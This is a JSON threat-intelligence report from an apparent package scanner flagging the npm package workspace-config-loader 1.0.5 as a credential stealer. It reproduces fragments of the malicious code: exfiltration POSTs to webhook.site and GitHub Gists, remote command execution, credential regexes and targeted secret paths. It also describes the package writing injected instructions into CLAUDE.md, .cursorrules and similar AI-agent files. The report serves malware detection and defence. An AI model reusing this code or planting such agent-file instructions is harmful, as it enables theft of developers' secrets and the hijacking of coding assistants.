{"package":"workspace-config-loader","version":"1.0.5","known":true,"status":"done","discovered_at":1790304475400,"has_install_script":true,"report_url":"https://andymal.com/packages/workspace-config-loader/1.0.5","verdict":"malicious","action":"block","confidence":0.96,"summary":"postinstall runs node lib/setup.js which forks lib/worker.js as a detached, unref'd child process. worker.js (19 400 lines) is a credential stealer: it walks ~/.ssh, ~/.aws, ~/.kube, ~/.docker, Chrome/Brave/Edge Login Data and Cookies, crypto keystore files, exchange configs, .npmrc, .git-credentials, .pgpass, .env, shell histories; extracts private keys, API keys, AWS access keys, NPM/GitHub tokens, passwords, recovery phrases; brute-forces 100+ common keystore passwords; encrypts stolen data with AES-128-CBC/HMAC-SHA256 (Fernet) optionally keyed via ECDH-x25519; exfiltrates to webhook.site URLs, dns.lookup telemetry, and api.github.com/gists; fetches remote config from ddjidd564.github.io to control scan depth, enabled vectors, and execute arbitrary OS commands; downloads and executes scan-bundled.js from raw.githubusercontent.com; persists a config cache in ~/.local/share/.integrity_config; attempts prompt injection via CLAUDE.md write.","intent":"Presents itself as a workspace configuration utility, but installs a detached background process that scans the user's home directory for credentials (AWS keys, SSH keys, browser logins, crypto wallet keystores, .npmrc, .git-credentials, .pgpass, etc.), encrypts findings with Fernet/ECDH-hybrid encryption, and exfiltrates them via webhook POST, DNS telemetry, and GitHub Gist — while fetching remote config from GitHub Pages to enable arbitrary command execution and payload download.","capabilities":["credential_access","credential_harvest","network_egress","download_execute","code_execution","persistence","agent_config_tamper","crypto_theft","browser_theft","obfuscation","reconnaissance"],"iocs":{"domains":["ddjidd564.github.io"],"urls":["https://ddjidd564.github.io/defi-security-best-practices/config.json","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json","https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/main/config.json","https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js","https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://api.github.com/gists"],"ips":[],"paths":["/root/.env","/root/.bash_history","/root/.zsh_history","/root/.npmrc","/root/.gitconfig","/root/.git-credentials","/root/.mysql_history","/root/.psql_history","/root/.pgpass","/root/.aws/credentials","/root/.aws/config","/root/.docker/config.json","/root/.kube/config","/root/.config/google-chrome/Default/Login Data","/root/.config/google-chrome/Default/Cookies","/root/.config/google-chrome/Default/Local State","/root/.config/brave-browser/Default/Login Data","/root/.config/brave-browser/Default/Cookies","/root/.config/microsoft-edge/Default/Login Data","/root/.config/microsoft-edge/Default/Cookies","/root/.mozilla/firefox/*/logins.json","/root/.mozilla/firefox/*/key4.db","/root/.ethereum/keystore","/root/.bitcoin/wallet.dat","/root/.solana/keystore","/root/.secret","/root/seed.txt","/root/wallet.json","/root/private-key","/root/.binance/config.json","/root/.bybit/config.json","/root/.local/share/.integrity_config"],"hashes":[]},"analyzed_at":1790306136702,"detonated":true,"model":"yolo","post_url":"https://andymal.com/blog/2026-09-25-workspace-config-loader-1.0.5","findings":[{"title":"Install hook spawns detached credential-stealing worker","detail":"lib/setup.js:27-41 — cp.fork(workerPath, ['--verify', PKG_NAME], { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME }) }); child.unref();","severity":"critical","location":"lib/setup.js:27"},{"title":"Credential file scanning (30+ paths)","detail":"lib/worker.js:172-237 — EXFIL_DIRS includes .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .mysql_history, .psql_history, .pgpass, .aws/credentials, .aws/config, .docker/config.json, .kube/config, Chrome/Chromium/Brave/Edge Login Data, Cookies, Local State, Firefox logins.json, key4.db, .ethereum, .bitcoin, .solana, .secret, seed.txt, wallet.json, wallet.dat, keyfile, private-key, mnemonic, UTC--, exchange config files.","severity":"critical","location":"lib/worker.js:172"},{"title":"Credential extraction regex patterns","detail":"lib/worker.js:64-71 — KEY_PATTERNS matches 64-hex private keys, 12-24 word recovery phrases, API_KEY=value, secret/private=value, 0x Ethereum addresses, PASSWORD=value. lib/scanner-core.js:84-93 adds AWS_ACCESS_KEY_ID (AKIA...), NPM_TOKEN, GH_TOKEN patterns.","severity":"critical","location":"lib/worker.js:64"},{"title":"Crypto keystore brute-force","detail":"lib/worker.js:74-105 — COMMON_PASSWORDS array with 100+ passwords including crypto-specific ones (ETH, BTC, SOL, metamask, phantom, trustwallet, blockchain). Targets scrypt-encrypted Ethereum keystore JSON files.","severity":"high","location":"lib/worker.js:74"},{"title":"Fernet + ECDH-hybrid encryption of exfiltrated data","detail":"lib/worker.js:22-61 — _encodePayload uses AES-128-CBC + HMAC-SHA256 (Fernet). lib/crypto-ecdh.js — hybridEncrypt uses x25519 ECDH for forward secrecy. Data encrypted before exfiltration.","severity":"high","location":"lib/worker.js:22"},{"title":"Multi-channel exfiltration: webhook, DNS, Gist","detail":"lib/worker.js:720-830 — _sendToRelay POSTs to webhook.site URLs. _reportDNS base32-encodes data in dns.lookup queries. _reportGist POSTs to api.github.com/gists.","severity":"critical","location":"lib/worker.js:724"},{"title":"Remote config fetch for C2 control","detail":"lib/worker.js:911 — CONFIG_PRIMARY_URL = 'https://ddjidd564.github.io/defi-security-best-practices/config.json'. Returns scan_depth, enabled_vectors, and commands array.","severity":"critical","location":"lib/worker.js:911"},{"title":"Remote command execution","detail":"lib/worker.js:1395-1399 — if (_strategy && _strategy.commands) execSync(cmd, { timeout: 10000, stdio: 'ignore' }) for each command from remote config.","severity":"critical","location":"lib/worker.js:1395"},{"title":"Download-and-execute secondary payload","detail":"lib/worker.js:1697 — SCRIPT_URL = 'https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js'. Fetches and executes arbitrary JS.","severity":"critical","location":"lib/worker.js:1697"},{"title":"Environment dump","detail":"lib/worker.js:1445 — Iterates process.env, collects values where key includes 'password', 'key', 'secret', 'token', 'credential'.","severity":"high","location":"lib/worker.js:1445"},{"title":"Prompt injection text embedded in package","detail":"lib/worker.js:1710-1713 — clContent contains 'CLAUDE.md' compliance prompt text designed to be written to AI agent config files to inject social-engineering instructions.","severity":"high","location":"lib/worker.js:1710"},{"title":"Infection vector detection","detail":"lib/worker.js:1159-1190 — detectInfectionVector checks npm_lifecycle_event, git hooks, MCP_TOOL_CALL, cron, cursor editor, pipe execution — tailored for targeting CI/CD agents and AI coding assistants.","severity":"medium","location":"lib/worker.js:1159"}],"lab":{"ok":true,"lab_version":2,"duration_ms":2168,"lab_ip":"10.77.0.155","hooks":[{"name":"postinstall","command":"node lib/setup.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> workspace-config-loader@1.0.5 postinstall\n> node lib/setup.js\n\n[workspace-config-loader] INFO: Running project setup checks...\n[workspace-config-loader] INFO: Node.js vv22.23.2 — compatible\n[workspace-config-loader] INFO: Project: workspace-config-loader (1.0.5)\n[workspace-config-loader] INFO: Project directories found: lib\n[workspace-config-loader] DONE: Setup completed successfully\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"[workspace-config-loader] INFO: Running project setup checks...\n[workspace-config-loader] INFO: Node.js vv22.23.2 — compatible\n[workspace-config-loader] INFO: Project: workspace-config-loader (1.0.5)\n[workspace-config-loader] INFO: Project directories found: lib\n[workspace-config-loader] DONE: Setup completed successfully\n","stderr_tail":""}],"process_count":8,"processes":["/usr/local/bin/node /work/pkg/lib/worker.js --verify workspace-config-loader ×2","npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node lib/setup.js","node lib/setup.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"workspace-config-loader","version":"1.0.5","description":"Workspace configuration loading and management utilities","scripts":{"postinstall":"node lib/setup.js","setup":"node lib/setup.js"},"install_hooks":{"postinstall":"node lib/setup.js"},"bin":{},"main":"index.js","dependencies":[],"author":"Open Dev Tools","license":"MIT","hasInstallScript":true},"files":[{"path":"lib/worker.js","size":91104,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","download_execute","code_execution","obfuscation","persistence","agent_config_tamper","reconnaissance","privilege","browser_theft","crypto_wallet"]},{"path":"lib/scanner-core.js","size":19105,"kind":"text","score":0.9858333333333333,"hits":["credential_access","network_egress","reconnaissance","crypto_wallet"]},{"path":"lib/crypto-ecdh.js","size":5051,"kind":"text","score":0.501,"hits":["obfuscation"]},{"path":"lib/setup.js","size":2836,"kind":"text","score":0.37123333333333336,"hits":["credential_harvest","code_execution"],"role":"entry"},{"path":"package.json","size":563,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"index.js","size":180,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":6,"unpacked_size":118839,"findings":[{"title":"Install hook","detail":"postinstall: node lib/setup.js","severity":"low","location":"package.json"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _fernetEncrypt(plaintext, key32) { const iv","severity":"high","location":"lib/crypto-ecdh.js:25"},{"title":"Obfuscated or encoded code","detail":"blicKeyDERB64) { return crypto.createPublicKey({ key: Buffer.from(publicKeyDERB64, 'base64'), format: 'der', type: 'spki', }); } function de","severity":"high","location":"lib/crypto-ecdh.js:64"},{"title":"Obfuscated or encoded code","detail":"B64) { const serverPrivKey = crypto.createPrivateKey( Buffer.from(serverPrivateKeyPEMB64, 'base64').toString('utf-8') ); const ephemeralPubKey = loadServe","severity":"high","location":"lib/crypto-ecdh.js:98"},{"title":"Obfuscated or encoded code","detail":"tion fernetEncryptStatic(plaintext, keyB64) { const key = Buffer.from(keyB64, 'base64'); return _fernetEncrypt(plaintext, key); } module.export","severity":"high","location":"lib/crypto-ecdh.js:119"},{"title":"Touches credential stores or secrets","detail":".push(process.env.APPDATA || ''); scanRoots.push(process.env.LOCALAPPDATA || ''); } // Common additions const common = [","severity":"high","location":"lib/scanner-core.js:42"},{"title":"Touches credential stores or secrets","detail":"regex: /(?:0x)?[a-fA-F0-9]{64}/g, type: 'private_key', priority: 1 }, { regex: /\\b([a-z]+\\s+){11,23}[a-z]","severity":"high","location":"lib/scanner-core.js:85"},{"title":"Touches credential stores or secrets","detail":"{4,64})/gi, type: 'password', priority: 3 }, { regex: /(?:AWS_ACCESS_KEY_ID|aws_access_key_id)\\s*[:=]\\s*[\"']?(AKIA[0-9A-Z]{16})/g, type","severity":"high","location":"lib/scanner-core.js:91"},{"title":"Touches credential stores or secrets","detail":"'password', priority: 3 }, { regex: /(?:AWS_ACCESS_KEY_ID|aws_access_key_id)\\s*[:=]\\s*[\"']?(AKIA[0-9A-Z]{16})/g, type: 'aws_key', prior","severity":"high","location":"lib/scanner-core.js:91"},{"title":"Network activity","detail":"urn config.webhooks.filter(Boolean); } return ['https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246']; // fallback } // =","severity":"medium","location":"lib/scanner-core.js:404"},{"title":"System reconnaissance","detail":"================== function detectPlatform() { const p = os.platform(); const home = os.homedir(); const isWSL = (() => {","severity":"low","location":"lib/scanner-core.js:20"},{"title":"System reconnaissance","detail":"etectPlatform() { const p = os.platform(); const home = os.homedir(); const isWSL = (() => { try { return fs.existsSync('/","severity":"low","location":"lib/scanner-core.js:21"},{"title":"System reconnaissance","detail":"home, isWSL, isWindows, isMac, isLinux, hostname: os.hostname().slice(0, 64), user: process.env.USER || process.env.USE","severity":"low","location":"lib/scanner-core.js:57"},{"title":"System reconnaissance","detail":"WSL /mnt/c/ paths const home = platform ? platform.home : os.homedir(); let np = p; // Handle WSL Windows paths if (np.start","severity":"low","location":"lib/scanner-core.js:66"},{"title":"Crypto wallet targeting or address swapping","detail":"ssword','credential','wallet','key','config','keystore', 'mnemonic','seed','UTC--','private','token','backup', ]); const SKIP","severity":"high","location":"lib/scanner-core.js:101"},{"title":"Dumps the whole environment (API keys live there)","detail":"ue, stdio: 'ignore', env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME }) }); child.unref","severity":"high","location":"lib/setup.js:34"},{"title":"Executes commands or dynamic code","detail":"re('fs'); const path = require('path'); const cp = require('child_process'); const PKG_NAME = 'workspace-config-loader'; const MIN_N","severity":"medium","location":"lib/setup.js:15"},{"title":"Touches credential stores or secrets","detail":"tory'), path.join(HOME, '.zsh_history'), path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-c","severity":"high","location":"lib/worker.js:174"},{"title":"Touches credential stores or secrets","detail":".npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-credentials'), // === Database history === path.join(HOME, '.mysql_","severity":"high","location":"lib/worker.js:175"},{"title":"Touches credential stores or secrets","detail":"in(HOME, '.kube', 'config'), // === Chrome/Chromium/Brave Login Data (SQLite) === path.join(HOME, '.config', 'google-chrome',","severity":"high","location":"lib/worker.js:198"},{"title":"Touches credential stores or secrets","detail":"= path.join(HOME, '.config', 'google-chrome', 'Default', 'Login Data'), path.join(HOME, '.config', 'google-chrome-beta', 'Defa","severity":"high","location":"lib/worker.js:199"},{"title":"Dumps the whole environment (API keys live there)","detail":"const envPasswordCandidates = []; for (const [k, v] of Object.entries(process.env)) { const kl = k.toLowerCase(); if (kl.includes","severity":"high","location":"lib/worker.js:1445"},{"title":"Network activity","detail":"llel) // Channel 2: DNS telemetry fallback (base32 encoded, dns.lookup) // Channel 3: Anonymous Gist backup (api.github.com/gists)","severity":"medium","location":"lib/worker.js:5"},{"title":"Network activity","detail":"stringify({ p: encryptedPayload, v: 3 }); const req = https.request(webhookUrl, { method: 'POST', headers: { 'Co","severity":"medium","location":"lib/worker.js:724"},{"title":"Network activity","detail":"// Fire-and-forget DNS lookup — don't wait for result dns.lookup(dnsDomain, 4, (err, address) => { resolve({ ok: !er","severity":"medium","location":"lib/worker.js:769"},{"title":"Network activity","detail":"} } }, null, 2); const req = https.request('https://api.github.com/gists', { method: 'POST',","severity":"medium","location":"lib/worker.js:797"},{"title":"Download-and-execute chain","detail":"_TRACE) return 'cursor_editor'; // Check if triggered via curl|bash if (process.env.SHLVL === '1' && !process.stdout.isTTY) r","severity":"critical","location":"lib/worker.js:1186"},{"title":"Executes commands or dynamic code","detail":"to = require('crypto'); const dns = require('dns'); const { execSync } = require('child_process'); const core = require('./scann","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"; const dns = require('dns'); const { execSync } = require('child_process'); const core = require('./scanner-core'); const cryptoEcdh","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"md of _strategy.commands) { try { const { execSync } = require('child_process'); execSync(cmd, { tim","severity":"medium","location":"lib/worker.js:1398"},{"title":"Executes commands or dynamic code","detail":"ds) { try { const { execSync } = require('child_process'); execSync(cmd, { timeout: 10000, stdio: 'ignore","severity":"medium","location":"lib/worker.js:1398"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _encodePayload(report, keyB64) { // keyB64","severity":"high","location":"lib/worker.js:29"},{"title":"Obfuscated or encoded code","detail":"= cryptoObj.cipher || 'aes-128-ctr'; const ciphertext = Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'he","severity":"high","location":"lib/worker.js:334"},{"title":"Obfuscated or encoded code","detail":"= Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); co","severity":"high","location":"lib/worker.js:335"},{"title":"Obfuscated or encoded code","detail":"fer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); const salt = Buffer.from(kdfParams.salt, 'hex');","severity":"high","location":"lib/worker.js:336"},{"title":"Persistence mechanism","detail":"n 'npm_postinstall'; // Check if running from a git hook (.git/hooks/ in cwd parents) try { let p = process.cwd(); for","severity":"medium","location":"lib/worker.js:1162"},{"title":"Persistence mechanism","detail":"— Attach to development workflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files","severity":"medium","location":"lib/worker.js:1710"},{"title":"Persistence mechanism","detail":"development workflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files (.bashrc, .zshr","severity":"medium","location":"lib/worker.js:1710"},{"title":"Persistence mechanism","detail":"kflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files (.bashrc, .zshrc, .profile)","severity":"medium","location":"lib/worker.js:1710"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"} } catch(e) {} // Propagation: write cursorrules/CLAUDE.md, git hooks, shell RC persistence if (!_skipPropagation) {","severity":"high","location":"lib/worker.js:1676"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"/ ===== SELF-PROPAGATION ENGINE ===== // Writes cursorrules/CLAUDE.md to project dirs, installs git hooks, // shell RC persistenc","severity":"high","location":"lib/worker.js:1685"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"te verification instructions to project config files:\\n# .cursorrules, CLAUDE.md, AGENTS.md, COPILOT.md, .github/copilot-instruct","severity":"high","location":"lib/worker.js:1710"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"n instructions to project config files:\\n# .cursorrules, CLAUDE.md, AGENTS.md, COPILOT.md, .github/copilot-instructions.md\\n#","severity":"high","location":"lib/worker.js:1710"},{"title":"System reconnaissance","detail":"const cryptoEcdh = require('./crypto-ecdh'); const HOME = os.homedir(); // === Fernet Encryption (RFC-compatible, Node.js built-i","severity":"low","location":"lib/worker.js:17"},{"title":"System reconnaissance","detail":"for fallback channels const dataSummary = { hostname: os.hostname(), findings_count: data.findings_count || 0, source:","severity":"low","location":"lib/worker.js:1084"},{"title":"System reconnaissance","detail":"t || 0, source: data.source || 'unknown', platform: os.platform(), }; // === CHANNEL 1: Webhook POST (parallel to all we","severity":"low","location":"lib/worker.js:1087"},{"title":"System reconnaissance","detail":"rification_vector: detectInfectionVector(), platform: os.platform(), arch: os.arch(), node_version: process.version","severity":"low","location":"lib/worker.js:1198"},{"title":"Privilege elevation","detail":"s.writeFileSync(hp, existing + hook); try { fs.chmodSync(hp, 0o755); } catch(e) {} res.gitHooks++;","severity":"low","location":"lib/worker.js:1761"},{"title":"Browser or OS credential store access","detail":"ult'), path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'), path.join(HOME, 'Library',","severity":"high","location":"lib/worker.js:159"},{"title":"Browser or OS credential store access","detail":"hs (WSL mounted) === '/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftw","severity":"high","location":"lib/worker.js:162"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default', '/mnt/c/Users/USERNAME/","severity":"high","location":"lib/worker.js:163"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Chromium/U","severity":"high","location":"lib/worker.js:164"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'ethereum', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffe","severity":"high","location":"lib/worker.js:91"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffer.from([112","severity":"high","location":"lib/worker.js:91"},{"title":"Crypto wallet targeting or address swapping","detail":"uffer.from([115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.","severity":"high","location":"lib/worker.js:109"},{"title":"Crypto wallet targeting or address swapping","detail":"115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.from([112,1","severity":"high","location":"lib/worker.js:109"},{"title":"Install hook runs a script","detail":"ject\" ], \"author\": \"Open Dev Tools\", \"scripts\": { \"postinstall\": \"node lib/setup.js\", \"setup\": \"node lib/setup.js\" }, \"files\": [ \"in","severity":"medium","location":"package.json:20"}],"injection_findings":[],"hits":{"obfuscation":9,"credential_access":10,"network_egress":6,"reconnaissance":10,"crypto_wallet":6,"credential_harvest":2,"code_execution":6,"download_execute":1,"persistence":5,"agent_config_tamper":5,"privilege":1,"browser_theft":5,"install_hook_shell":1},"iocs":{"urls":["https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://ddjidd564.github.io/defi-security-best-practices/portfolio.html","https://ddjidd564.github.io/.../config.json","https://ddjidd564.github.io/defi-security-best-practices/config.json","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json","https://ddjidd564.github.io/defi-security-best-practices/config.json\\n","https://ddjidd564.github.io/defi-security-best-practices/config.json\\n#\\n#","https://ddjidd564.github.io/defi-security-best-practices/scan.js"],"domains":["webhook.site","ddjidd564.github.io"],"ips":[]},"score":1,"priority":170,"hints":["install hook postinstall: node lib/setup.js","untrusted hosts referenced: webhook.site, ddjidd564.github.io","capability hits: credential_access×10, reconnaissance×10, obfuscation×9, network_egress×6, crypto_wallet×6, code_execution×6, persistence×5, agent_config_tamper×5, browser_theft×5, credential_harvest×2, download_execute×1, privilege×1"],"entry_files":["lib/setup.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}